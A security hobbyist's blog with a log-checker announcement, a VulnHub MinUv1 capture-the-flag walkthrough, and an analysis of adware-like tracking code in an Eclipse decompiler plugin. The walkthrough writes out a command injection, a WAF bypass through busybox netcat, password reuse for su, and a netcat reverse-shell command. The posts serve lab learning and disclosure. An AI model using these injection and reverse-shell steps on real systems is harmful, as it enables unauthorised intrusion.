Log Checker Tool

I’ve took some time to write a free and open source log parsing tool. The expected purpose is for checking web server access logs for potentially unwanted behaviour. But theoretically you can configure the parsing rules to pick out matches in any text based files.

If any people request I can provide pre-built binaries.


Here is a short video of it finding attempted exploits in publicly available access logs.


You can find publicly available access logs to test the tool with here https://gist.github.com/rm-hull/bd60aed44024e9986e3c


VulnHub MinUv1 CTF

Sorry it’s been quite a while since my last blog post.


Lately I’ve spent a decent chunk of time rooting virtual machines from vulnhub.com. The site distributes capture the flag (CTF) style virtual machines with various levels of difficultly and vulnerabilities to find.

Recently I finished the MinUv1 challenge. After reading the description in the “flag” and various other people’s blogs on how they circumvented the systems security I think I have a solution slightly different to the normal method.

If you haven’t yet finished the challenge then be warned, there are spoilers ahead.


Before I start I will mention this report contains mostly only the working parts of my solution, I spent quite a bit of time investigating what were ultimately dead ends.


Initial Scanning

OK so I downloaded the virtual machine from the website and launched it in virtual box. The first scan I did was a basic nmap:


The initial scan indicates that there is a http server running on port 80… OK that’s interesting but a deeper scan is always worth doing. This time with extra flags:

nmap -A -p- -Pn -n

What do these extra options do?

  • -A nmap will try and identify the OS/service versions (this is noisy)
  • -p- indicates the port ranges to scan
  • -Pn skips host discovery, treats the hosts as online
  • -n skips DNS resolution


This scan indicates the http server again running on port 80 and didn’t find any other services, but it did give us the service and version (Apache/2.4.27 (Ubuntu)).

I opened the IP address in firefox and only found the initial startup page when apache2 is first installed on Ubuntu. The page isn’t interactive and I don’t think it’s exploitable.

Next up I scan the website with nikto. This is usually a good starting point for web application exploitation as it usually finds important things quite quickly.

nikto -h


Interesting, nikto didn’t find anything at all.

At this point I thought back to a previous CTF I had completed where I used a tool called dirsearch to try and find files in directories without directory indexing.

./dirsearch.py -u -e html,php,cgi,txt,cfg


Initial Exploitation

A hit! I opened the test.php page in my browser to view.


The page contains some information about the current visitor, further investigation showed this was provided by a simple javascript call which contacted an external service. At the bottom of the page there is a link “Read last visitor data” which points to “test.php?file=last.html”.

Immediately my thoughts go to directory traversal, or perhaps being able to dump the contents of /etc/passwd.

I give various parameters a try but they all seem to be met by 403 forbidden errors.

403 passwd.PNG

My next thought is command injection. I assume the php script is calling the system command “cat” to get the contents of the file so I try injecting a “whoami” command into the system call by separating the cat from my command with a semi colon “;”.  Effectively if I am right the php script would be running:

cat last.html;whoami

whoami forbidden.PNG

This also returned forbidden, initially I thought that the file contents might be getting retrieved some other way but I tried a few other commands.

cat last.html;id

id success.PNG

Success! There is a command injection and it is returned to the browser. Interesting that the whoami command (and some others that I tried) was blocked. At this point I assume there is some sort of script/WAF blocking certain commands from being executed.

The obvious thing to do here is to try and bind a reverse TCP shell from the server to my attacker machine. I try a few different ways of executing netcat, “nc”, “/bin/nc”, “netcat”, “/bin/netcat” etc, but all return a 403 forbidden error.

I remembered a comment on the netsec subreddit from a week or so ago about ways of bypassing local security restrictions by executing commands from within different unrestricted binaries, the site https://gtfobins.github.io/ contains a list of these binaries.

I spent quite a bit of time trying various combinations of netcat executing from these binaries but finally found busybox. Busybox is a utility which contains miniaturised versions of common utilities. I tried calling the busybox version of netcat:

busybox netcat shell.PNG

Which didn’t 403. And after starting a listening netcat on my attacker machine:

attacker busybox netcat www-data.PNG

Great! Now we have a shell as the www-data user on the server.


Once we are on the box I spent more time than I would like to admit combing through various configuration files looking for clues.

The passwd file contained the following:


Indicating there was a user named bob. I navigated to bob’s user directory to have a look.

bob home.PNG

Interesting file name here. The file contained what I eventually found out was a JWT (JSON web token). This file contains some data signed by secret. You can read the data without the secret, the secret is used to verify the data. You can read more about them here: https://jwt.io/.

I downloaded a utility which cracks the secret from these tokens JWT-Cracker and used it to crack the secret. This took some time (and I wish I had compiled one of the C based crackers)…


Further Exploitation

I make an assumption that bob, like many people, uses the same password in various places. I first want to try this password to get into bob’s account. The issue I had here was that the netcat shell is not a tty shell so you theoretically can’t run su (as the password is requested as part of a later input).

After quite a bit of googling I discovered that you can fool su by running it as part of the command “script -c “su…”” and then echoing the password prior to this command e.g.

echo mlnV1 | script -c 'su - bob'

I should note that this is a terrible idea on machines that you administer as it can leave the password in the bash history.

I tried this from my netcat www-data user shell:

su bob.PNG

OK so bob didn’t re-use this password for his account. What about root:

su root id.PNG

Interesting… looks like the script entered a root shell before exiting.

The script command replays the commands its given then exits so in order to keep the root shell running I executed the usual netcat command followed by the & symbol to start the command in the background.

  echo mlnV1 | script -c "su - root 'nc 4444 -e /bin/sh &'"

su nc.PNG

And after running a listening nc on my attacker machine, I was able to root the machine!


As you can see from the description in the flag text as well as various blogs the intended vulnerability was to use wildcards in the command injection to bypass the WAF rather than busybox. Interesting that there is more than one way to finish this challenge.


Reverse Engineering an Eclipse Plugin


Firstly I want to note I’m not a security researcher, ethical hacker or at all competent at reverse engineering. I’m currently working as a Java developer but I’ve always had an hobby interest in computer security.

Recently I’ve been ever more interested in the security side of things and have been studying various topics, from binary exploitation, reverse engineering to WPA cracking. I decided I would start writing blogs on my learning; and the application of that learning. Even if nobody reads it at least I will have notes on previous projects, and I find that writing things down always commits my thoughts more thoroughly.

Finding a Target

Today I had quite a bit of free time so I decided I would try my hand at reverse engineering. My experience with Java is sound having programmed commercially with it for a number of years, and Java decompilers can normally provide the exact source code (providing no obfuscation was undertaken), so reverse engineering something written in Java seemed like the best choice.

I was having a think about what kind of project to reverse engineer when I remembered something I had seen in the comments of an eclipse plugin which had put me off using that plugin.

From the Eclipse Class Decompiler plugin page: (https://marketplace.eclipse.org/content/eclipse-class-decompiler)

0 the target - eclipse class decompiler.png


This seemed rather suspect and I wouldn’t have expected an eclipse plugin to have this functionality.

Note that this plugin is in the top 20 most downloaded eclipse plugins of all time, with almost 400k downloads.



So first things first I need to get a copy of the plugin and then decompile it, or at least find the source of the project.

The first place I checked out was the projects website (http://www.cpupk.com/decompiler/) which led me to its github page (https://github.com/cnfree/Eclipse-Class-Decompiler/). I had a look around the code on github but couldn’t seem to find the “phone home” functionality. Perhaps I was missing something but I had other suspicions. So I decided I would install the extension and decompile the binaries.

Now since I suspected this plugin could have something sinister within I wasn’t going to install it on my actual machine. Instead I span up a new windows VM and installed java and eclipse.

1 make new vm

I then installed the plugin and had a look around the filesystem for the plugin binaries. Finally finding them in the <user_home>/.p2/pool/plugins directory.

Found jars in filesystem plugins dir.png

I pulled the jars off of the VM into my main eclipse, where I use (what I believe is) a reputable decompiler, jd (http://jd.benow.ca/), to analyse the classes. On opening the main plugin class I found some shall we say interesting code, which appeared to store a variable called “adclick.count”.

adclick in source.png

Note that this code didn’t appear in the github version of the project.

adclick not in github.png

I quickly found the binaries contained quite a lot of classes so rather than manually inspect them all (which might take quite a few hours) I decided to grep the decompiled source for the ‘java.net.*’ package, since the comments on the eclipse marketplace page appeared to suggest some connections were happening.

search results.png

So now I had a smaller code set to have a more thorough look at.

After inspecting these classes I found some suspect code in IOUtils, which appeared to provide a helper method for closing HTTP connections (why would a code decompiler need to close HTTP connections?).

IOUtils contains methods for closing sockets.png

Next, in the UIUtil class I found a method which appeared to open URLs in an external browser, and increment the adclick.count variable.browser functionality.png

In the UserUtil class I found quite a bit to be concerned about. Firstly there appeared to be multiple calls to various (seemingly unrelated) websites in the collectUserIp() method.

UserUtil hmmm.png

I traced this method to see what the code was doing with this informationCall hierarchy of collectUserip().png

… and found that it was being used in a class called BackgroundHandler.

Inspection of this class found that the code was collecting a plethora of information about the users system, converting it to a JSON object then sending it to the URL “http://decompiler.cpupk.com/statistics.php&#8221;.


At this point I wanted to see what information the plugin was receiving and then sending to its server. I setup burp (https://portswigger.net/burp/) on my host machine and bound the HTTP proxy to its local network address. This would allow the guest OS to proxy to this.

2 burp address bind.png

And then set the proxy settings in the windows guest OS.

4 set proxy settings.png

I started up eclipse again and watched the requests/responses sent through the proxy. Firstly there were some calls to eclipse (as you might expect), however I soon received the calls from thecollectUserIp() method. The pv.sohu.com/cityjson appears to return a javascript variable with the callers IP address and a continent id and name.


Next I observed the call to ip.taobao.com/service/ipinfo.php, which appears to return more specific geographical information about the ip address given.


Lastly I observed the “call home” functionality the comment from the marketplace seemed to talk about. Which compiled the information gathered and sent it to decompiler.cpupk.com/statistics.php.

call home.png

I turned my attention back to the analyzeUserInfo() class as the call to upload the user information must actually have an important response, the response was handled by a number of further methods.

response is used.png

The method which stood out was checkAdConfig. The checkAdConfig method parses a JSON object for a number of variables; adConfig, adCondition, adStyles…

check ad config.png

Burp revealed the response object from the server. Not all of the available variables were being provided currently.

statistics response.png

I decided to search the code again this time for the adclick.count variable discovered earlier in the investigation. This time I found a yet unexplored class, HtmlLinkTrimItem.

JD decompiler search.png

This class had a number of interesting features. Firstly it appears to provide a browser implementation. Secondly it calls a method updateTrimUrl() on initialisation which appears to call a URL as defined by the trayLinkUrl property in a seperate thread using a non-visible browser.

update trim url.png

I had a search around the code to see where the HtmlLinkTrimItem class was referenced. And found it referenced in a number of other classes.

grep HtmlLinkTrimItem.png

The TrayLinkV1 and TrayLinkV2 classes are used by a class LinkTrimChecker, which appears to use them to instantiate the HtmlLinkTrimItem (which would in turn trigger the background browser).


The LinkTrimChecker.displayTrayLink method is called by the TrayLinkUtil.displayTrayLink method which in turn is used by the BackgroundHandler.checkTrayLink method.

If you were watching closely earlier then you may have noticed that the checkTrayLink method is one of the methods which processes the JSON object returned by the home server.

The TrayLinkUtil.displayTrayLink appears to be called when there is a trayLink JSON object within the response.


Burp had previously shown this object existed but was blank in the response I recorded earlier.

So what happens if the object isn’t blank?

Well the displayTrayLink method would be called, which would delegate to LinkTrimChecker, as previouly discussed.

display tray link.png

But you may notice the second parameter to the delegated method, TrayLinkUtil.enableShowTrayLink(), it appears that this must also resolve to true for the background browser to be enabled. This method checks that the preference store contains a property ‘trayLinkStrategy’ and that a matchAdCondition method from the UserUtil class returns true.

enable show tray link.png

During my earlier investigation I noticed that the trayLinkStrategy property is set when the trayLink JSON object is parsed from the server response.

Next I had a look at the matchAdCondition method. This method checks if the preference store contains an adCondition integer (or defaults to 100). And compares the total number of user decompiled classes against this value. Returning true if the user has decompiled more than this number.


So it appears the background browser will start making requests after a user has decompiled more than 100 classes, or if the adCondition field of the server response was changed to a value less than the users decompiled class count.

Next I wanted to investigate how the trayLinkUrl was being set as this is the URL the background browser is opening. I found this functionality in the TrayLinkUtil class. The trayLinkStrategy property (set by the server response), needs to be populated and then a second method checks the property, if it contains a JSON object with a url field it returns this url. Otherwise it may contain an array of these objects with a priority weighting which is used to randomly (with weighting) select the url.

tray link url.png

I had also noticed that the background browser was opened on a timer, this timer was defined by the getTrayUrlDisplayTime method in the TrayLinkUtil class again. This method appears to suggest that the trayLinkStrategy JSON object could also contain a property ‘showTime’ along with the url previously discovered.

traylink url display time.png

I decided to combine everything I had learned so far and try and modify the server response (using burp) to trigger the adware functionality. I modified the response to include a trayLink object containing a URL to google.com along with a showTime of 1 minute. I also included an adCondition of 2, as I would have undoubtedly crossed this limit already.second injecting more stuff.png

At this point I hooked jvisualvm (https://visualvm.github.io/) to eclipse and took a heap dump. I wanted to confirm the modifications I had made were indeed within the properties. I ran the following object query (OQL) on the heap dump.

select s from java.lang.String s where s.toString().equals(“trayLinkStrategy”)

This provided me with 2 hits, the top hit was referenced in the eclipse InstanceProperties and I was able to observe my changes.


Notice that the value and key table items 3 and 8 contain the trayLinkStrategy and adCondition. Now set to the JSON object I added along with the value 2 for adCondition.

injeted more.png

After around a minute I noticed burp had focused, and I could see that the VM had made a request to google:80. Success!


In order to ensure this wasn’t a fluke (as I imagine quite a few different applications/code may have reason to contact google), I repeated the test with imgur.com.

test 2 imgur injected.png

And the results were the same, the VM was making requests to imgur.com:80.


At this point I noticed that the windows VM was getting errors which look like IE certificate issues. I assume this is due to imgur requesting resources over TLS and the burp certificate not matching the DN of these resources.

error cert.png

imgur lookup for resources.png

You can see here the stream of calls to imgur when I left eclipse running.

imgur multiple.png


So I’m pretty happy with the results of my efforts, I was able to uncover what very much looks like adware in one of the most installed plugins for eclipse, along with the commented “call home” method. I think the fact that this code doesn’t appear in the published github source code is evidence that it probably shouldn’t be there.

I need to mention that only the functionality exists and at no point have I witnessed the response from the server actually providing the required JSON object to trigger the adware.

I’m going to contact eclipse about this plugin as I imagine they don’t condone having this sort of functionality.

If anyone has any questions please feel free to leave a comment.

Edit: After some further thoughts it occurred to me that this code could potentially be used to download files onto the users system (still to test). This is especially egregious as the communication is completely unencrypted.

Another edit: I tested the theory of the above edit.

I created a fake java payload jar file which just contained a JFrame with a message in it and hosted it on port 80 of the host computer using python

sudo python3 -m http.server 80

When I set my host PC to be the “trayLink” I got the following displaying in the VM.

fake payload download.png

Obviously I wouldn’t expect anyone to open or save this particular file, but perhaps with another vulnerability they wouldn’t have to click anything, or with some social engineering; for example what if the popup said EclipseUpdate.exe?

As the “call home” call is in HTTP this could also be used to attack victims by modifying the response calls through MITM.

Edit 3: Eclipse have removed the plugin from the marketplace and released a press release advising that users uninstall the plugin (https://eclipse.org/org/press-release/20170814_security_bulletin.php).